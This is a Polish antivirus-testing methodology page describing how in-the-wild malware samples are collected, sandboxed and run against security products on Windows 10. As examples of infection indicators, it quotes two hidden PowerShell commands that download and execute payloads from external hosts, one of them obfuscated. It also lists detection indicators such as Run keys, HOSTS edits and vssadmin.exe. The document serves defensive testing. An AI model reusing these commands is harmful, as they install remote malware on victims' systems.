Najnowszą aktualizację dla poniższych metod wprowadzono w styczniu 2019 roku.

W testach porównawczych wszystkie produkty są poddawane ocenie w identycznym środowisku roboczym. System operacyjny, dodatkowe narzędzia oraz zainstalowane oprogramowanie, muszą być niezmienne. Obecnie nie ma takich produktów, które w drodze informatycznej ewolucji nie potrzebowałyby do prawidłowego funkcjonowania dostępu do Internetu. Wszystkim rozwiązaniom należy taki dostęp zagwarantować. Komunikacja z chmurą producenta, wysyłanie szkodliwego oprogramowanie do analizy, pobieranie informacji o zagrożeniach z globalnej bazy danych wirusów oraz szybszy dostęp do metadanych, to tylko niektóre korzyści z dostępu do globalnej sieci.

1. Ogólne informacje

Kilkanaście lat temu procedura testów była bardzo prymitywna. Na podstawie zebranej kolekcji próbek wirusów otrzymywano wyniki z testów on-demand, czyli ze skanowania na żądanie lub z testów proaktywnych, w których produkt nie był aktualizowany przez określony czas. Teraz w pewnych warunkach takie procedury mogą być interesujące, na przykład podczas porównywania skanerów. W dobie technologii wykrywania rootkitów, bezplikowych wirusów i monitorowania cyklu życia wirusów na podstawie maszynowego uczenia, metoda testowania on-demand jest nieefektywna. Detekcja zagrożeń na podstawie definicji wirusów to stara technika wykrywania znanych ataków. Obecnie służy bardziej do wspierania niż do stanowienia rdzenia ochrony.

Wymiana informacji jest jednym z najważniejszych etapów każdego testu — bezpośrednio dotyczy producenta, ale oficjalnie nie należy do metod badania. Dzięki przekazywaniu szczegółowych logów możliwe jest rozpoznawanie błędów, które niekoniecznie są rezultatem błędnych metod. Zdarzają się sytuacje, kiedy próbka wirusa, która przeniknie do maszyny, nie wykona żadnych szkodliwych działań (np. kiedy szkodliwe oprogramowanie zostało zaprogramowane do infekowania komputerów z określonym zainstalowanym oprogramowaniem, architekturą systemu operacyjnego lub regionu geograficznego). Z drugiej strony testowany produkt ma za zadanie blokować szkodliwe akcje. Jeśli wirus nie wprowadził szkodliwych zmian do systemu, to uznaje się, że program antywirusowy zadziałał zgodnie z założeniami producenta. W takich sytuacjach współpraca z twórcami przynosi obu stronom korzyści. W naszych testach „Advanced In-The-Wild Malware Test” dobierane jest tylko takie złośliwe oprogramowanie, które skutecznie zainfekuje system operacyjny Windows 10.

Starając się wiernie odwzorować zachowanie użytkownika i szkodliwego oprogramowania, opracowaliśmy narzędzia, które pomogą automatyzować proces testowania produktów. Wyniki, które prezentujemy internautom, są na skalę światową unikalne. Chcąc zachować transparentność i uznanie wśród naszych czytelników, udostępniamy znacznie więcej danych niż jakakolwiek inna organizacja, która zajmuje się profesjonalnym testowaniem rozwiązań bezpieczeństwa.

2. Testy „Advanced In-The-Wild Malware Test”

Test odtwarzający prawdziwe zachowanie użytkownika i złośliwego oprogramowania z punktu widzenia internautów i producentów jest najkorzystniejszy. Dzięki honeypotom każdego dnia do badań pozyskujemy nową kolekcję wirusów.

Zanim każda próbka trafi do maszyn z zainstalowanymi produktami zabezpieczającymi, zostaje dokładnie przeanalizowana. Musimy mieć pewność, że tylko „100-procentowe” szkodliwe próbki będą dopuszczone do testów. Sytuacja, kiedy wirus nie będzie działał w systemie, ponieważ został zaprogramowany dla innego regionu geograficznego, w naszych testach nigdy się nie zdarzy. Czytelnicy oraz producenci mają pewność, że malware zakwalifikowane do testów jest w stanie poważnie zainfekować system operacyjny, niezależnie z której części świata pochodzi.

Zanim potencjalnie szkodliwa próbka zostanie zakwalifikowana do testów, jeden z elementów systemu testującego sprawdza, czy złośliwe oprogramowanie na pewno wprowadza niepożądane zmiany. W tym celu każdy wirus jest analizowany przez 15 minut. Wykluczony z testów czynnik ludzki nie daje możliwości upewnienia się, że malware np. po 60 sekundach zakończy swoją aktywność. Musimy ustalić pewien próg czasowy, po którym przerywamy analizę. Zdajemy sobie sprawę, że istnieje takie szkodliwe oprogramowanie które, zanim zostanie aktywowane, może opóźniać swoje uruchomienie nawet do kilkunastu godzin. Może też nasłuchiwać połączenia z serwerem C&C na efemerycznym porcie. Zdarzały się także sytuacje, kiedy złośliwy program został zaprogramowany do infekowania konkretnej aplikacji lub czekał na otworzenie strony internetowej. Dołożyliśmy wszelkich starań, aby nasze testy były maksymalnie zbliżone do rzeczywistości i próbki, które są „niepewne”, aby nie były dołączane do testowej bazy wirusów.

Po przeanalizowaniu każdej złośliwej aplikacji logi z aktywności działania szkodliwego oprogramowania są eksportowane do zewnętrznej części systemu testującego. Na podstawie zebranych danych opracowane algorytmy podejmują decyzję czy konkretna próbka jest bez wątpienia szkodliwa. Niektóre informacje z analizy każdej próbki publikujemy na stronie CheckLab. Szczegółowe dane są przekazywane producentom.

3. Algorytm postępowania w testach „Advanced In-The-Wild Malware Test” (AVMT)

Algorytm testów CheckLab
Algorytm przeprowadzania testów od A do Z.

4. Dobieranie próbek do testów

4.1. Co 24 godziny nasz system testujący pobiera zgromadzone w ostatniej dobie szkodliwe oprogramowanie ze wszystkich honeypotów.

4.2. Każda próbka trafia do kolejnego podsystemu testującego. Korzystając z funkcji skrótu SHA-256, przeszukiwane są duplikaty. Dzięki temu nie dochodzi do incydentu kolizji próbek, wiec dwa identyczne wirusy nigdy nie zostaną zakwalifikowane do testów.

4.3. Zanim próbka zostanie dołączona do kolekcji wirusów, musi przejść szczegółową weryfikację. Każda z nich jest uruchamiana w testowym systemie bez programu ochronnego w celu znalezienia potencjalnie niepożądanych wskaźników. Po 15 minutach, na podstawie logów zebranych przez jeden ze składników systemu testującego, algorytm na podstawie ponad 100 reguł podejmuje decyzję, czy złośliwe oprogramowanie powinno zostać zakwalifikowane do testów. Im większa liczba wskaźników, tym większe prawdopodobieństwo, że próbka stanowi zagrożenie dla integralności danych i bezpieczeństwa systemu operacyjnego. Tylko te szkodliwe pliki, które charakteryzują się podejrzanymi wskaźnikami, będą udostępniane do testów. Innymi słowy, wirus, który m.in.: modyfikuje parametry systemu, szyfruje pliki, manipuluje kluczami i wartościami rejestru, uruchamia złośliwe skrypty, ładuje szkodliwe biblioteki DLL do procesów, jest traktowany jako „użyteczny”. Pozostałe próbki nie są dołączane do testów i są bezpowrotnie usuwane.

Przykłady wskaźników, które determinują wprowadzone szkodliwe zmiany do systemu:

Uruchomienie procesu powershell.exe z dowolnym parametrem:

cMd /c"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen "do{sleep 25;(.(\"{2}{0}{1}\" -f'-o','bject','new') (\"{1}{3}{5}{0}{2}{4}\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\"{0}{2}{1}\"-f'star','ss','t-proce') '%localappdata%.exe'""

powershell.exe -nop -w hidden -c $H=new-object net.webclient;$H.proxy=[Net.WebRequest]::GetSystemWebProxy();$H.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX$H.downloadstring(‚http://147.135.210.231:8080/i33PjVMvFgResmq’);

Edycja kluczy w rejestrze:

Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\RunOnce

Próba edytowania pliku HOSTS:

C:\Windows\System32\Drivers\etc

Próba usunięcia lub zmiany plików w lokalizacji:

C:\Users\%USERNAME%\Desktop\my_files\

Uruchomienie procesu wskazującego na aktywność szkodliwego oprogramowania:

tor.exe
wscript.exe
cscript.exe
wmic.exe
vssadmin.exe

Uruchomienie zadania:

C:\Windows\System32\Tasks

4.4. Powrót do początku, przywrócenie migawki i analiza kolejnej próbki złośliwego oprogramowania.

5. Testy produktów zabezpieczających

5.1. Codziennie rano system testujący uruchamia wszystkie maszyny z zainstalowanymi produktami ochronnymi. W ciągu 30 minut następuje aktualizacja baz sygnatur wirusów lub plików produktu ochronnego. Wszystkie maszyny są następnie restartowane i ponownie zamykane.

5.2. Po upewnieniu się, że maszyny z zainstalowanymi produktami ochronnymi są gotowe do testów, wykonywane są migawki wszystkich systemów.

5.3. Wszystkie systemy z zainstalowanymi produktami ochronnymi są uruchamiane.

5.4. We wszystkich maszynach zakwalifikowana do testów próbka złośliwego oprogramowania jest w tym samym czasie pobierana przez przeglądarkę Google Chrome z wygenerowanego wcześniej adresu URL, innego dla każdej próbki malware.

5.5. Jeżeli szkodliwe oprogramowanie zostanie zablokowane we wczesnym etapie (w przeglądarce lub po zapisaniu na dysku w folderze źródłowym) będzie oznaczone w bazie danych specjalnym identyfikatorem i dalsza analiza nie jest wymagana. W przeciwnym razie wykonywane są poniższe czynności.

5.6. Jeśli szkodliwe oprogramowanie w trakcie przenoszenia z folderu źródłowego do folderu docelowego zostanie wykryte i zatrzymane przez produkt ochronny będzie oznaczane specjalnym identyfikatorem i dalsza analiza nie jest wymagana. W przeciwnym razie wykonywane są poniższe czynności.

5.7. Następuje uruchomienie wirusa, jeżeli szkodliwe oprogramowanie nie zostanie wykryte przez produkt ochronny w folderze źródłowym. Po 15 minutach od uruchomienia generowane są szczegółowe logi z aktywności malware w systemie.

5.8. Szczegółowe logi z aktywności szkodliwego oprogramowania są przekazywane do podsystemu testującego, który szuka pasujących wskaźników odpowiadających zablokowaniu wirusa przez produkt ochronny. Wyszukiwane są również potencjalnie niebezpieczne wskaźniki, które zostały opracowane do odnotowywania infekcji systemu Windows 10.

5.9. Na podstawie niezbędnych informacji przekazywanych do bazy danych przygotowywana jest wizualizacja wyników z testów ochrony i analizy złośliwego oprogramowania na stronie internetowej.

5.10. Powrót do początku. Wykrycie adresu internetowego, z którego pobierana jest kolejna próbka wirusa i przywrócenie wszystkich systemów do stanu sprzed zainfekowania.

Biorąc pod uwagę m.in. czas uruchomienia systemów, codzienną aktualizację baz danych sygnatur wirusów i plików testowanych produktów, a także przywracanie migawek i czas trwania każdej analizy szkodliwego oprogramowania, to system testujący może w ciągu doby sprawdzić około 70 próbek.

6. Sprawdzanie wyników

Kierując się poniższymi kryteriami mamy 100-procentową pewność, że złośliwe oprogramowanie zostało zatrzymane:

6.1. Jeżeli szkodliwe oprogramowanie zostało zablokowane na poziomie przeglądarki, to jest oznaczane takim identyfikatorem. Dalsza analiza nie jest wymagana.

6.2. Jeżeli szkodliwe oprogramowanie zostało zablokowane na poziomie systemu operacyjnego, to jest oznaczane takim identyfikatorem. Dalsza analiza nie jest wymagana.

6.3. Po uruchomieniu wirusa o jego wykryciu przez technologie proaktywne i behawioralne decydują reguły opracowane dla każdego produktu ochronnego. Wyniki są uwarunkowane zebranymi logami, które informują czy zagrożenie zostało przeniesione do kwarantanny lub zablokowane m.in. przez moduł firewall, ochronę w chmurze, piaskownicę lub moduły IDS, IPS. Przykłady takich wskaźników:

Zablokowanie złośliwej strony przez produkt Avira:

C:\ProgramData\Avira\Antivirus\LOGFILES\webguard.log

Uruchomienie wirusa w piaskownicy Comodo Internet Security:

C:\VTRoot
HKLM\SYSTEM\VritualRoot

Zmiana stanu systemu dla antywirusa Webroot:

HKLM\SOFTWARE\WOW6432Node\WRData\Status\Infected
HKLM\SOFTWARE\WOW6432Node\WRData\Status\ThreatBlocked
HKLM\SOFTWARE\WOW6432Node\WRData\Status\ThreatsRemoved

7. Dodatkowa konfiguracja systemów i informacja o testowanych produktach

7.1. Testy przeprowadzane są w systemie Windows 10 Pro x64.

7.2. Kontrola konta użytkownika (UAC) jest wyłączona, ponieważ celem testów jest sprawdzenie skuteczności ochrony produktu przed szkodliwym oprogramowaniem, a nie reagowanie systemu testującego na komunikaty Windows.  

7.3. System Windows 10 zawiera dodatkowe zainstalowane oprogramowanie: pakiet biurowy, przeglądarkę dokumentów, klient poczty oraz inne narzędzia i pliki stwarzające pozory zwykłego środowiska roboczego.

7.4. Automatyczne aktualizacje systemu Windows 10 są wyłączone. Ze względu na skomplikowany proces i możliwość awarii aktualizacje Windows 10 są dokonywane co kilka tygodni pod ścisłą kontrolą.

7.5. Produkty zabezpieczające są aktualizowane jeden raz w ciągu doby. Zanim testy zostaną uruchomione, następuje aktualizacja bazy danych wirusów i plików produktu ochronnego. Oznacza to, że każdego dnia testowane są zawsze najnowsze wersje produktów ochronnych.